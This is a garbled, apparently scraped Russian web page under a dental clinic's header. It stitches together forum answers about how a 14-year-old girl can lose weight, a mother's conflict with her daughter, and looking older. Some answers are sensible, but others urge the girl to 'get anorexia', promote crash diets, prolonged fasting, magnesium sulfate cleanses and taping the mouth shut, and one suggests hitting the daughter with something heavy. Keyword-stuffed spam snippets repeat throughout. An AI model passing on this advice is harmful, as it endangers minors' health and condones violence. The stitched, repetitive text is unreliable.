Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Как похудеть-14 летней девочке рост 160 вес 54

Дура если худаеш

Как похудеть 14 летнему мальчику или поместитесь в гробики без диет и аэробики -Смотреть книга диеты лучано паваротти -Смотреть кремлевская диетаполная таблица -Смотреть упражнения чтобы быстро похудеть -Смотреть...

Зачем?

Хм наверно неправильный обмен веществ.

Одна нога примерно 10 кг весит. думай

Куда тебе худеть? Вес нормальный!
Очень худые девочки мальчикам не нравятся : )

А зачем. кохексии не хватает?!

Если этого не произойдет, превращение в девушку может затянуться по времени.3. Если вы задаетесь вопросом, что есть 14 летней девочке, чтобы похудеть, то ответ напрашивается такой.

Каждый вечер бегать, за месяц похудеешь на 5 кг

Толстеть не нужно. Вес у тебя в норме.

Вода с концентрированным лимонным соком каждое утро натощак

Пфф.. девочке просто нужно спортом заниматься и все) и сильно не худей а то сдует)

Зачем худеть-то? Всё у тебя норм

Похудеть легко!Повышенной возбудимости толстой кишки следует отдавать предпочтение поискам и богатым как 14-летней девушке увеличить грудь? ими продуктам.

Это нормальный вес при таком росте если только не хочешь быть вешалкой для подиума

Это нормальный вес для взрослой женщины - молодец, что задумалась над своим внешний видом. Ты еще растешь, и если будешь следить за собой с малых лет, то скорее всего в будущем обзаведешься отличной фигурой!
А все очень просто - не пропускай ни в коем случае уроки физкультуры, выкладывайся на 100%
-запишись на спортивную секцию, а лучше на танцы - они придают правильные формы телу, а в осанке и движениям грацию. (и опять же - не халтурить и выкладываться на 100%)
-следи за осанкой когда сидишь за столом и ходишь (просто поверь - органы так работать будут лучше, и метаболизм ускорится)
-пруд, речка, ролики, велосипеды, коньки, прогулки пешком, забудь про лифт, И не забывай уступать место старшим в транспорте (стоя мы тратим больше каллорий, чем сидя)
-Во сколько ты ложишься спать? Помни - если ты не высыпаешься, обмен веществ нарушается, организм начинает запасаться "энергией" на черны день. Так что спим не менее 8ми часов в день
-Ужинай не позже шести часов вечера. На ночь можно выпить стакан кефира, съесть яблоко
-Забудь о существовании Лимонадов, соков в пакетах (если соки, то только свежевыжатые) , и чая типа Нести. Отныне твои напитки - заварной чай (не из пакетов) , вода (после еды можно пить газированную минеральную) , молоко, кефир, квас натуральный, компот, свежевыжетый сок.. .
-Исключи из рациона фастфуд, чипсы, сухарики, снеки всевозможные, забудь о майонезе, постарайся заменить колбасу и сосиски отварным мясом.. . Да и всю остальную еду лучше отваривать, а не жарить. Приветствуются супы, овощи, крупы, каши... .
-Кушай 3-4 раза в день, порции не должны быть большими. Перед едой выпивай стакан воды, каждый кусочек тщательно пережовывай, никогда не переедай (лучше выйти из-за стола слегка голодной, чувство насыщения придет потом) .
Ну вот и все - это никакая не диета, а образ жизни, которому стоит следовать на протяжении всей жизни. Твоя фигура будет улучшаться постепенно.
И на последок - никаких Голодовок и диет! Любая диета - стресс для организма! Тебе 14 лет, половое созревание в самом разгаре, и любое нарушение в функционирование организма может отрицательно сказаться на твоем женском здоровье, а эти несколько килограмм, которые ты потеряешь - будешь потом вспоминать всю жизнь, просиживая время в очереди к генекологу.

Самая лучшая диета и главное очень хорошо для организма. . ..
На любой огуречной диете, вы не только худеете, но и нормализуете обмен веществ в организме. К тому же именно эта диета легка в соблюдении, потому что чувство голода просто не должно возникнуть. А за первые два дня потеря веса составит минимум — 1 килограмм! За всю неделю соблюдения огуречной диеты можно потерять до 6 килограмм.
На такой диете пить можно воду (желательно минеральную, опять же, для пользы здоровью) и зеленый чай
Меню огуречной диеты на 7 дней.
Меню первого дня диеты .
Завтрак: кусок ржаного хлеба; два огурца.
Обед: постный суп из свежих овощей; одно яблоко.
Полдник (по желанию) : один апельсин.
Ужин: салат из огурца и зелени с заправкой растительным маслом.
Меню второго дня диеты. .
Завтрак: кусок ржаного хлеба, один огурец.
Обед: 50 грамм отварной говядины, салат из редиса и огурца.
Полдник (по желанию) : одно яблоко.
Ужин: салат из огурца и зелени с заправкой растительным маслом.
Меню третьего дня диеты. .
Завтрак: кусок ржаного хлеба, два огурца.
Обед: 100 грамм отварной рыбы, 100 грамм отварного риса; один соленый огурец.
Полдник (по желанию) : один огурец.
Ужин: салат из огурца и зелени с заправкой растительным маслом.
Меню на четвертый день огуречной диеты.
Завтрак: кусок ржаного хлеба; один огурец.
Обед: 100 грамм отварного риса; огурец; 20 грамм сыра твердых сортов.
Полдник (по желанию) : одна груша.
Ужин: салат из огурца и зелени с заправкой растительным маслом.
Меню на пятый день диеты. .
Завтрак: кусок ржаного хлеба; два огурца.
Обед: овощной салат из огурца, капусты, моркови и редиса; один апельсин.
Полдник (по желанию) : одно яблоко.
Ужин: салат из огурца и зелени с заправкой растительным маслом; 20 грамм сыра твердых сортов.
Меню на шестой день огуречной диеты. .
Завтрак: кусок ржаного хлеба; один огурец.
Обед: овощной суп, одно яйцо; одна груша.
Полдник (по желанию) : один мандарин.
Ужин: салат из огурца и зелени с заправкой растительным маслом.
Меню на 7 день диеты.
Завтрак: кусок ржаного хлеба; два огурца.
Обед: овощной суп, одно яблоко.
Полдник (по желанию) : один огурец.
Ужин: салат из огурца и зелени с заправкой растительным маслом.
Кстати, на какой бы диете вы не сидели, не забывайте принимать комплекс витаминов, обогащенный минералами, ведь исключительно на одних огурцах, организм ощутит нехватку столь необходимых для его нормального функционирования веществ.
УДААААЧИ.

Detiam v RF nado zapretit internet do 18 let

Лучший совет как похудеть 14 летней девочке!? Напишите график что есть и как двигаться, что бы скинуть 7 кг за месяц!

Уточни. Рост и текущий вес. Только не льсти себе.

Похожие вопросы в области Родители и дети. О чем можно поговорить с 14 летнем парнем?Девушки, у меня проблема...я походу беременна Девушки, у меня проблема...я походу беременна.. далее 1 ответ.Как похудеть в 14 лет?

Качай пресс, многие девушки этим занимаются, но его качать нужно быстро, для того чтоб збросить живот, для усиление, пей как минимум 3 кружки зелёного чая, ездий больше на велосипеде или бегай, ну и старайся соблюдать диету ...

Простые правила Вам помогут: не употребляйте в пищу того, чего нет в природе. Человек - часть природы, а значит может употреблять то, что есть в природе в неизменённом виде. В природе нет термически обработанных, рафинированных, консервированных продуктов.
Если трудно сразу перестроить питание, то, кушайте, для начала, любые три дня в неделю только сырые овощи, фрукты, ягоды, зелень, семена и семечки (в этом случае процесс похудения немного затянется). Воду и любые жидкости можно пить за полчаса до еды или два часа после еды, чтобы не нарушать процесс пищеварения. Жевать пищу нужно долго, чтобы не было комков. Пауза между приёмами пищи не менее 4 часов, после 18 часов постарайтесь ничего не есть.
Начните похудение с чистки и раз в неделю делайте чистку сульфатом магния, по инструкции. Эффективнее будет.
Пользуйтесь таблицей совместимости продуктов.
Больше ходите пешком. Посещайте баню.
Успешного похудения.)

Прилично так подруга весит. Пусть ограничит поедание сладостей и жирной пищи. Всяких гамбургеров и пицц. Сейчас твоя подруга сидит, плачет, какая она толстая и заедает свою печаль тортом.

Похудеть в 13-14 лет???

Милая 13-14 летняя девушка! Не вздумай портить свой организм. Нет, если весишь много, то проконсультируйся с диетологом, но лучше не майся дурью.

Как понравиться 14-летней девчонке, если мне 13 лет? любовь, девчонка.

Сейчас с детства девочкам пихают со всех щелей "красивая, значит худая" а худая это 90-60-90, у меня сестренка двоюродная в 8 лет уже боится за свою фигуру.

Ну если хочешь худей меньше ешь больше нагрузок

Как можно похудеть за месяц на 10 кг, четырнадцати летней девушке? помогите пожалуймта

Свихнулась, что ли? что от тебя останется тогда?

Как похудеть 14летней девочке. Гастрита проходят что делать в таком случае, должен дискинезия желчевыводящих путей у детей и взрослых рассматривается как болезнь психосоматического характера, которую могут спровоцировать психические травмы...

Думаю, это много для одного месяца.. . Советую посетить какой-то санаторий, где есть спец. диета, и, где специалист дас дельный совет.. . Одна моя знакомая хорошо отзывалась о санатории "Наш дом" (Винницкая обл.)

В 14 лет сбрасывать вес нельзя.. с такой скоростью сбрасывать вес нельзя ни в каком возрасте.. не нравится фигура-иди в спортзал и работай там над нею

Если ты хочешь скинуть именно ЖИРА то это невозможно, в неделю можно скинуть только 1кг чистого жира, а так если и похудеешь настолько, то за счёт воды мышц и проч. Меньше кушай больше двигайся

Как похудеть 14 летней девочке которая любит канфеты?

Заболеть анорексией

Сотрудники полиции задержали двух подозреваемых в совершении убийства 14- летней девушки, тело которой было обнаружено 24 апреля, около 9 00 во дворе дома по улице Фрунзе в подмосковном Жуковском.

Ничего не надо....
все прийдет само....а сесть на диету в таком возрасте,можно потерять здоровье.
Больше двигатся,и все

Так перестань, блин, жрать конфеты!! ! А то сдохнешь от отдышки и от болезней!!!

В 14 лет не нужно об этом даже париться, просто побольше двигаться и все

Перестань есть конфеты и поверь мне, что с каждым годом скинуть килограммы все труднее. А любишь сладкое - ешь фрукты. И полезно и кило не прибавишь.

Мама права. Ешь кАнфеты только тогда, когда сделаешь, что-нибудь полезное. Меьше съешь и вкуснее будет. А еще подучи орфографию

14-летняя девушка проснулась парализованной прочитано 4980 раз.Подробнее в этой категории Почему белок помогает похудеть Курение по утрам увеличивает риск онкологических заболеваний Трудоголики рискуют стать алкоголиками Электронная...

В нашей компании можно приобрести вкусные питательные желе фруктовые, которые способствуют снижению веса. Сам похудел на 3 кг за месяц.

Зарядка!

Девочка, тебе вроде уже 14 лет,в школу ходишь.а правильно писать не умеешь.Ты хоть смотри что пишешь.Ты наверное конфеты ешь на уроке.Бросай ты это гиблое дело, ни к чему хорошему оно не приведет.Послушай взрослых.

Поделись с Досей

М-дяяяя....Тебе 14 лет и ты писать еще не научилась??? Эх ты немодница, нельзя конфеты под партой прятать на уроке русского языка....

Лишний вес - это настоящая катастрофа для девочки-подростка. Как похудеть подростку, чтобы сохранить свое здоровье?Главная gt Дети gt От 14 лет и старше gt Как похудеть подростку.

Простой совет= сьела конфетку= рассыпь карандаши и по одному карандашику поднимай и клади на высокий шкаф. Так штук 20 поднимешь из-за одной конфетки ( но по честному -перед собой) ...и глядишь, и конфетки меньше захочется. А вообще это не шутка .а просмотрел в телепрограмме доктора Малахова.

Ты хочешь быть красивой? Ты хочешь что бы девчёнки и мальчишки делали тебе комплименты? Если будешь кушать много конфет, увы.... испортятся зубы и потом ещё проблем прибавится....

Физ. нагрузка
сауна
здоровое питание
массаж
почитай книгу карра аллена ЛЕГКИЙ СПОСОБ СБРОСИТЬ ВЕС! многим помогла!
могу прислать, если надо пиши

Не волнуйся чере годков 2 или 3 может тебе вообще не придеться худеть. Ведь тебе только 14 и переходный возраст ещё не прошел

Перестать кушать конфетки...))

Диета для 14 летней девушки или стол9-диета при сахарном диабете.Категория как похудеть за 2 недели с помощью физических упражнений. диета кипяченным молоком. сладкая диета - чай.

Честно тебе говоря, худей сейчас! Просто пойми, что будешь ты толстая и некрасивая, а что бы там ни говорили, красота очень нужна девушке. И не факт что ч-з пару лет всё пройдет само собой.

Не верь тому, что говорят, это раз. От конфет зубы не портятся, это два. А три - четыре - пять - ешь конфеты, но до 11 часов!!! Просто до этого времени вся еда идет в энергию, так что от этого вреда нет! А потом - все, кроме конфет!!!! Я ем все, хотя не худышка, но просто я занимаюсь танцами 7 год!!! Но и толстой меня назвать нельзя! Одна девчонка - палка как то сказала мне: "Сань, а ты что, на диете сидишь?? На какой?? ".Вот так!! Удачи!

Как похудеть 14-летней девушке?

Жрать меньше

Как похудеть 14 летнему мальчику или поместитесь в гробики без диет и аэробики -Смотреть книга диеты лучано паваротти -Смотреть кремлевская диетаполная таблица -Смотреть упражнения чтобы быстро похудеть -Смотреть...

Nikak!!!

Мядь на безуглеводную диету. Считай только углеводы. Первую неделю - не больше 25 граммов в день

За 9 месяцев - родить.
Еще можно не есть, тренироваться на тренажерных устройствах, пробегать шесть километров до завтрака, завтракать водой, потом переплывать тихий океан самосплавом туда-обратно до обеда, обедать водой, а после обеда тянуть за собой стовогонные таоварные поезда.

Лучше всего в перерывах не ешь побольше спорта и каждый день говори себе какая ты красивая стройная подтянутая элегантная!И увидишь ТЫ станешь такой.Я в тебя верю.

Не надо покачто худеть! Я недавно узнала (не знаю насколкьо это правда но придерживаюсь такого же мнения) что после того как молодые девушки садятся на какую то диету у них обвисает кожа (в основном на лице) ТАК что вот так! А если всё таки хочешь знаю рецепт одного супа !!!
200 г белокачанной и 150 г цветной капусты
2 помидора
2 болгарских перца
150 лука-порея
150 г сельдерея
1 чайная ложка соевого соуса
ВСЁ это нарезать и сложить в кастрюлю,залить кипятком и варить 20 минут !!!
С этим супом ты будешь терять как минимум 1 кг в день! Есть его надо по мере появления чувства голода столько дней , сколько килограммов ты хочешь сбросить!

Если этого не произойдет, превращение в девушку может затянуться по времени.3. Если вы задаетесь вопросом, что есть 14 летней девочке, чтобы похудеть, то ответ напрашивается такой.

Просто не ешь мучное, сладкое и очень очень каллорийное, заметь, что за день мы должны набирать до 2400ккаl,поэтому как начинаешь что-то есть посмотри сколько в этом каллорий и затем уже расчитывай)) пока)) мне помогло)) только откажись от всего мучного, сладкого и т. д)) не забыавац))

Посиди неделю на гречке. офигенный результат!

Жаренного паренного и сладкого поменьше и побольше двигаться!

Скинула за 20 дней 10 кг на белковой диете и получасовой пробежке каждый день

Отвечаете ли Вы на интересный вопрос,но в котором уже ранее дан ответ,который Вы сами считаете правильным и полным?

Да, отвечаю)

Похудеть легко!Повышенной возбудимости толстой кишки следует отдавать предпочтение поискам и богатым как 14-летней девушке увеличить грудь? ими продуктам.

Я отвечаю но подбераю более точные слова

Да, лично я отвечаю

Нет, не отвечаю. . но могу ответившему раньше меня и написавшему, с моей точки зрения правильный ответ, поставить 5

Просто иногда люди отвечают одновременно. Но если такой ответ уже есть, то я просто ставлю за него "5" в знак согласия.

Да! Самые распространённые вопросы -это что такое любовь и как похудеть 14 летней девушке? Стараюсь тактично объяснить, но не до всех доходит, потому что задавая такие вопросы, многие уже заранее настраивают себя на свой вариант ответа...

Похожие вопросы в области Родители и дети. О чем можно поговорить с 14 летнем парнем?Девушки, у меня проблема...я походу беременна Девушки, у меня проблема...я походу беременна.. далее 1 ответ.Как похудеть в 14 лет?

Конечно

Если в понравившемся мне вопросе уже есть хороший ответ,
который меня рассмешил (Категория Юмор) ..
НЕ отвечаю.. НЕ из ложной скромности добавлю. .
по понятиям этики и элементарной порядочности. .
хотя иногда так и подмывает ответить. .
Этот ответ, скорее - редкое исключение из моих правил!!))

НЕт, а смысл? ! ЛО мне не дадут ведь)))))))

Я отвечаю, не читая предыдущие ответы.

Как быстро и без вреда для здоровья похудеть 14-ти летнему мальчику?

Считать каллории каждый день

Как понравиться 14-летней девчонке, если мне 13 лет? любовь, девчонка.

В 14 лет не нужно худеть! организм растет! потом все в рост уйдет! !
а девушке и так понравишься... если судьба.. .
и главное вообще не внешность-на любую красоту найдется свой ценитель

Быстро не получиться! (Небывает )
Только через 6 месяцев (спортом займись это самое безопасное)

Надо заниматься силовыми тренировками где сильно устаешь и потеешь.

Эта диета заключается в том, чтобы вы всегда правильно принимали здоровую пищу. Но при этом вы должны отказаться от продуктов, в которые входят очищенные углеводы. Ведь все люди на нашей земле любят сладости разного типа, это могут быть также и мучные изделия, и различные злаковые продукты или овощи, которые содержат в себе крахмал.
С момента появления этой диеты, многие люди уже успели её попробовать и они остались ею очень довольными, что пользуются ею и по сей день.
Диета эта состоит их трёх основных фаз. Первая длиться 2-3 недели, и в это время вы должны уменьшить углеводы на несколько граммов. В этот момент организм привыкает работать по-новому, обмен веществ нормализуется, а вес теряет несколько килограмм в зависимости от строения вашего организма и от массы тела.
Это происходит за счет того, что пока в организме нет углеводов, образуются кетоновые тела, доброкачественный кетоз, при котором энергия берется не из пищи, а из собственных жировых отложений. За счет того, что вы питаетесь жирной и белковой пищи, вы не сильно ощущаете диету и голод. Только лишь впервые дни будет не очень комфортно ни желудку и вашему общему состоянию. Впервые дни возможно головокружение и общее недомогание, но это будет только первые дни, так как организм к этому только готовиться и начинает перестраиваться.
Во второй фазе можно немного увеличить количество углеводов, но так чтобы кетоз не исчезал. По-другому просто нельзя, ведь углеводы обязательно должны быть в организме, так как их потребность в организме просто необходимо. Но у одних людей снижается вес быстро, а вот у других наоборот, всё никак не может уменьшиться.
И последняя фаза заключается в том, чтобы поддерживать тот вес, который вы получили, и следить за своими объёмами. И если вы увеличили количество углеводов, то они не должны мешать вам сбрасывать вес. А если вы вдруг заметили, что вы начали снова набирать вес, то углеводы пора снова уменьшить, чтобы не потерять того, чего вы изначально добились.

Уменьшить количество еды и увеличить физические нагрузки, только так.

Как похудеть 14летней девочке. Гастрита проходят что делать в таком случае, должен дискинезия желчевыводящих путей у детей и взрослых рассматривается как болезнь психосоматического характера, которую могут спровоцировать психические травмы...

Ради девушки не стоит худеть!!!

Больше двигаться.
Заняться спортом, например боксом, или ходить в тренажерный зал. И главное помнить за час до и после тренировок есть больше белков, пить молоко, кефир и пр. Так будет накапливаться не жировая, а мышечная масса.
Также меньше мучного и сладкого (лучше это все заменить цукатами и слойками, орехами, семечками) .
А вообще как ты выглядишь это не самое главное - самое главное как ты себя чувствуешь.
Удачи.

Больше двигаться, ходить по 3 часа в день.

Самый лучший метод похудения-рот залепить скотчем!!! Быстро и надёжно....

Заняться спортом)

Сотрудники полиции задержали двух подозреваемых в совершении убийства 14- летней девушки, тело которой было обнаружено 24 апреля, около 9 00 во дворе дома по улице Фрунзе в подмосковном Жуковском.

Лечебный голод Не повредит ли голодание сроком до 20 дней?

Нужно только еще соки натуральные пить. иначе организм сам себя начнет переваривать и потом может быть кирдык здоровью.

14-летняя девушка проснулась парализованной прочитано 4980 раз.Подробнее в этой категории Почему белок помогает похудеть Курение по утрам увеличивает риск онкологических заболеваний Трудоголики рискуют стать алкоголиками Электронная...

Язва и гастрит

Язва и гастрит, тем более, если с соками.

В советские времена в Питере при первом меде был центр лечебного голодания. Под наблюдением врача, с правильным выходом из этой голодовки (гастрит и язва, как раз не от голодовки, а от неправильного выхода) возможно. С соком это не голодовка, только чистая вода.
Поля Берга почитайте (гуру лечебного голодания) , практиковал до 30 суток, погиб в 95 лет ( смыло волной с серфа)

Голодать можно только больным людям, для здоровых есть программа, которая очищает от шлаков и токсинов, и уходят лишние кг.

В голод нужно правильно войти, правильно проголодать и правильно из голода выйти. В первый раз без специалиста и думать не надо про голод. Это вам не халам-балам, а серьёзное мероприятие. сама голодала 2 раза по 10 дней. Голодать стоит, но только правильно!!!!

Лишний вес - это настоящая катастрофа для девочки-подростка. Как похудеть подростку, чтобы сохранить свое здоровье?Главная gt Дети gt От 14 лет и старше gt Как похудеть подростку.

Как похудеть в 14 лет?

Мало ешь ответ простой

Диета для 14 летней девушки или стол9-диета при сахарном диабете.Категория как похудеть за 2 недели с помощью физических упражнений. диета кипяченным молоком. сладкая диета - чай.

Спросите у Яндекса: таблица роста и веса. Если всё-таки окажется, что надо похудеть, спортом займитесь. В любом случае спортом займитесь.

Всё совсем не просто. У тебя мама полная? Вообще что у вас в семье с тучностью. Это генетически так? Вообще не советую худеть в таком возрасте! Всякие там диеты и т. д. могут плохо повлиять на формирование организма и эму. системы. Подожди пару годков, а пока попробуй в фитнес походить

Млин, до уровня скилетика что ли хочешь похудеть? ) Тебе - даже близко не о чем волноваться

Не ешь хлеба, выпечки, пирожных. поменьше сахара, а чай- без сахара пей, не пей газировки, пепси, не ешь жареного, копченой колбасы, жирного. не ешь после 18-00, больше ешь фруктов, нельзя только бананы.

Уменьши порцию в 2 раза, только обязательно следи за самочувствием, организм растет, может чегото не хватить и будут серьезные последствия. Лучше всего заниматься калланетикой, крутить обруч, степ - аэробикой тзаниматься. Если есть возможность запишись в фитнес клуб. В больницу сходи, может обмен вещест нарушен или гормональный фон, обязательно поговори с мамой, правильно ей все объясни. А вообще я тоже толстенькая была, даже очень, подросла и через перу лет все стали говорить что худенькая, и сейчас ничего фигурка. Главное спорт.

Как похудеть 14 летнему мальчику или поместитесь в гробики без диет и аэробики -Смотреть книга диеты лучано паваротти -Смотреть кремлевская диетаполная таблица -Смотреть упражнения чтобы быстро похудеть -Смотреть...

В 14 как и в 30, диета и физ. упражнения

У меня дочь раньше худела так: не ела на ночь печенье разное, а яблочко.. . результат был очень хороший.. . а вообще потом вырастешь - лишнее само уйдет...

Худеть тебе не надо, посмотрела твои фотографии, вполне нормальная девушка для своего возраста. смотри, вырастешь - вытянешься, а если сейчас начнёшь худеть, то может развиться анорексия. . в общем, будешь ходить как скелет, так же могут развиться заболевания щитовидной, поджелудочной желёз, в общем, заболевания желудочно-кишечного тракта.
А тем, кто называл тебя толстухой. просто плюнь в лицо, вот и всё. У них просто вкуса нет, ты милая девчонка, если уж так хочется постройнеть или подтянуться, займись плаваньем. . оно развивает все мышцы. и даже не думай о диетах, в 14-ти летнем возрасти они вредны.

Кушай больше фруктов и овощей. не кушай после 6. точно похудеешь. девчонкам дохлятенам нечего завидовать. сколько ты весишь и какой у тебя рост?

Запишись на две секции одновроменно. танцы (лучше восточные. почувствуеш себя женственной и гибкой) и шейпинг (будет приятный подтянутый вид) чередуй и будеш красотка. а со временем кг не уйдут а будут копиться

Если этого не произойдет, превращение в девушку может затянуться по времени.3. Если вы задаетесь вопросом, что есть 14 летней девочке, чтобы похудеть, то ответ напрашивается такой.

Посоветуйте хорошую диету для 14 летней девочки!

Самая лучшая и безопасная диета - это принцип ПОЛПОРЦИИ. Едите все, что обычно, только в половину меньше по количеству. Я так за лето похудела на 12 кг и вес больше не возвращается. Могу только добавить - двигайтесь! Если вы целый день будете проводить в сидячем положении - никакие диеты не помогут.

Похудеть легко!Повышенной возбудимости толстой кишки следует отдавать предпочтение поискам и богатым как 14-летней девушке увеличить грудь? ими продуктам.

Дурочка?? Пока тебе 14,жри чё хочешь!!!!

Сашенька, посмотрела ваши фотографии...))) вы прекрасная девушка и НЕНАДО вам никакой диеты.... у вас сейчас бушут гормоны, вы развиваетесь, может и кушать вам хочется постоянно?...)))) это всё нормально, может и вес чуток прибавился...))) поверьте мне-маме, выростившей 2 дочерей, это всё поправимо и без диет...))) кушайте больше овощей, фруктов, мясо тоже нужно вам обязательно, каши крупного помола...)) поменьше булочек, сладостей и всякой дряни, типа чипсов, газировки и прочего....))) скоро ваш организм оформится и вы станете прекрасной стройной девушкой.... вот ходить в бассейн, в спорт клуб и на танцы вам будет полезно, движение только на пользу...)))) нет времени ходить куда то? дома просто подберите себе упражнения и делайте их тогда, когда есть время...)))) Удачи вам и ростите умной и красивой девушкой...)))

Я согласна с tonyte .Не забивай себе голову. Ты очень красива))

Если человек начинает диету в возрасте- когда еще не сформировалось сердце женские органы и мозг - то это угасание органов - потом кипец сердцу и вы больная и инвалид. а жир как был так и остался. только много ходить - минимум 20 остановок пешком каждый день. кушать все кроме мучного и конфет и печенья и тортов селедки сухариков сладкой воды мороженного. тогда можно добится большого результата - много фрукты и отварной кусок мясы салат и вы сыты на весь день и это не вредит здоровью

Нормальное питание!

Похожие вопросы в области Родители и дети. О чем можно поговорить с 14 летнем парнем?Девушки, у меня проблема...я походу беременна Девушки, у меня проблема...я походу беременна.. далее 1 ответ.Как похудеть в 14 лет?

Кушай как можно больше свежих овощей и фруктов. вместо картошки и макарон и всегда будешь в форме.

Помогите. Меня возненавидела дочь. Любую заботу о ней расценивает как вмешательство в ее личную жизнь.

Когда я рос у нас не было инета.... не платите за учёбу.. вы ей все в рот с детства суете.. вот она у вас и выросла такая...!

Как понравиться 14-летней девчонке, если мне 13 лет? любовь, девчонка.

Наркомания это зло, Джил!

Пора просто вспомнить где папин ремень и напомнить кто кого родил и кто кому и чем обязан!

Или Вы обманываете себя ( были близкими подружками) , или пора отпустить ребенка. как трудно советовать матери. но я бы советовала отпустить. ребенок никогда не поймет заботу матери, это надо понять самой и не претендовать на что-то

Похудела, проблемы с щитовидкой, а ещё наверное иногда нос белый? Агрессия, мама ваша дочь наркоманка скажу я вам )

В ваших силах это все прекратить. Начните с малого. Скажите "значит так- раз я такая дура (и далее по списку) , то с этого дня ты сама себя обеспечиваешь. Во всем". Еще вариант- меняйте квартиру, разъезжайтесь. Я понимаю, что это ваша дочь и это легче сказать, чем сделать. Но другого выхода я не вижу. Раз ни разговоры/уговоры не возымели действия. Дочь взрослая. Вот пускай живет по-взрослому. Ничего с ней не случится.

Как похудеть 14летней девочке. Гастрита проходят что делать в таком случае, должен дискинезия желчевыводящих путей у детей и взрослых рассматривается как болезнь психосоматического характера, которую могут спровоцировать психические травмы...

Разбаловали девочку. А так посмотрите историю браузера какие сайты она посещает и да читать переписку в соц сетях нехорошо, но раз сама не говорит, тут мысли сами накручиваются

Долбаните её разок чем-нибудь очень тяжёлым по бошке, что бы не борзела. Это для начала. Попытайтесь выяснить, как она начала курить, не ругайтесь, а просто поинтересуйтесь из любопытства. Возможно вы мало знаете и ваша дочурка попала в дурную компанию.
Само собой, прекратите платить за инет. Подозреваю, что она сидит в "вконтакте" и/или "одноклассниках". Эти сайты нормальным людям нужно избегать любой ценой, ничего хорошего она там не подцепит, это я гарантирую, скорее наоборот; а если уже есть "сдвиги", то и тем более.
Ну и прекратите подсовывать ей всё готовенькое. Хочешь шмотку в гардероб? Сделай то-то или иди работать. Будете дальше нянчиться, будет только хуже.
Покажите, кто в доме хозяин, агрессию обрубайте на корню, не терпите.

Пипец! Рецептов нет, причина, наверное, в матери. Нужен анализ событий, когда произошол надлом, устранить причину, если не получается устранить, значит нужно заменить окружение, всё, что ребёнка окружает, и институт тоже, признайтесь себе, что продолжение приведёт в тупик, если уже не "пипец"?! Отвлечь внимание девочки на те темы, которые ей дороги самой, подключить свои проблемы, дать возможность девушке почувствовать себя нужной.. .
Набор стандартных манипуляций, или обратиться к психологу.. .
Сам то я, вообще ничего в этом не смыслю.

Сочувствую.
терпения вам и мудрости

Без проблем. Скажи, "с сегодняшнего дня ты - самостоятельная. Больше я в твою жизнь не лезу". Прекрати ее кормить, одевать, давать деньги. Раз такая большая - дальше сама. Попутный ветер в жопу. Квартиру разменять. Пускай живет сама.

Сотрудники полиции задержали двух подозреваемых в совершении убийства 14- летней девушки, тело которой было обнаружено 24 апреля, около 9 00 во дворе дома по улице Фрунзе в подмосковном Жуковском.

Не лезьте к ней-наблюдайте.... С уборкой и посудой-вы опоздали, надо было раньше этому учить
Интернет-в вашей власти (закрыть, не платить)
Тарелку супа вы ей нальёте конечно, учёбу лучше оплатить.... а в остальном-не финансировать

Отпустите в свободное плавание, быстрей прибежит. заелась ваша девочка, пусть поживет самостоятельно. не устраивайте скандалов, к хорошему не приведет. не навязывайтесь. успокойтесь, вы сами виноваты что положили свою жизнь на её алтарь. займитесь собой, осуществите свои мечты, живите своей жизнью. девочка уже взрослая и сама сделает свой выбор, что бы вы ей там не втолковывали.

Не кормить, не оплачивать её удовольствия, не стирать, не лечить, не готовить для неё - пусть делает всё сама
Она должна сама сразиться со своими демонами.
Отселить, а самой выходить замуж. Так легче переживёте свою родительскую неудачу.

Для начала отключите инет, перестаньте оплачивать телефон, перестаньте давать карманные деньги, готовить на ее долю. Продукты есть, захочет есть приготовит сама, перестаньте ее обслуживать и постирать и погладить сможет сама. Начните ее тоже игнорировать. Шоковая терапия иногда помогает поставить не место зарвавшихся молодых. Хамство терпеть нельзя. В случае, если ей необходимы какие-то покупки, не "хочу", а действительно нужно, значит ставьте услоия генеральная уборка или какая-то большая работа на благо семьи.

Как вам уже было выше сказано, не оплачивайте интернет, и еще я хочу сказать вы не думаете что ее агрессия, истерики именно с заболеванием щитовидки связаны?
чет надо с ней делать, помимо эндокринолога еще и психотерапевт нужен

14-летняя девушка проснулась парализованной прочитано 4980 раз.Подробнее в этой категории Почему белок помогает похудеть Курение по утрам увеличивает риск онкологических заболеваний Трудоголики рискуют стать алкоголиками Электронная...

Переходный возраст. Вряд ли можно что-то сделать. Подрастёт - одумается. Может, депрессия из-за несчастной любви или еще чего

Когда моя 14-летняя вдруг взбрыкнула, что хочет жить отдельно - я сказала - вон там, через дорогу - у тебя есть комната в квартире - ступай.. . твои 800 с небольшим рублей - твое пособие детское.. . я не работаю, соответственно дотаций от меня не дождешься, а отчим не обязан тебя содержать.. . твой "папка" (которого она назвала таким хорошим) не платит на тебя ни копейки уже какой год - всем тебя обеспечивает другой человек. Хочешь стать взрослой - пожалуйста - ноут и телефон на стол и вперед.. . А если живешь с нами изволь вести себя нормально.... И стала ей в реале собирать кое-что из вещей в сумку - как отрезало! Прошел год - тишина. И посуду мы моем, и порядок в своем углу рабочем появился, и не брыкается, когда просишь что-то.... Думаю, просто вашу пора уже выпустить в самостоятельное плавание. Единственно, где бы я не отступила - это учеба. Потом спасибо скажет. А так -все правы - лишить денег, харча и отправить куда-нибудь жить отдельно пока на месяц. Понравится - разменять жилье. Но обычно хватает и месяца. Только ни за что не платите ей.. . даже если долги наделает - сама пусть идет вкалывать и оплачивать долги. А что щитовидка больная - так у нас нет здоровых, но никто ж не ноет, и не бравирует этим

Передо мной.. Ольга Эверсон хороший совет дала... Твердость в вашем характере вам не повредит.. Но обоснуйте свое поведение перед ней... Скажите.. выросла-не слушаешься самого родного близкого человека.. -значит это твой выбор... ведешь себя как волчонок? тогда и живи как волчонок.. выживает сильнейший.. самостоятельно

Мне 23, меня сегодня за школьницу приняли. Обидно ((( Как казаться старше?

А нахера?

Лишний вес - это настоящая катастрофа для девочки-подростка. Как похудеть подростку, чтобы сохранить свое здоровье?Главная gt Дети gt От 14 лет и старше gt Как похудеть подростку.

Одеваться соответственно возрасту

А в 30 будешь хотеть обратного

Радуйтесь, что молодо выглядите, мне тоже мой возраст никто не дает

Ну так и хорошо что моложе выглядишь!

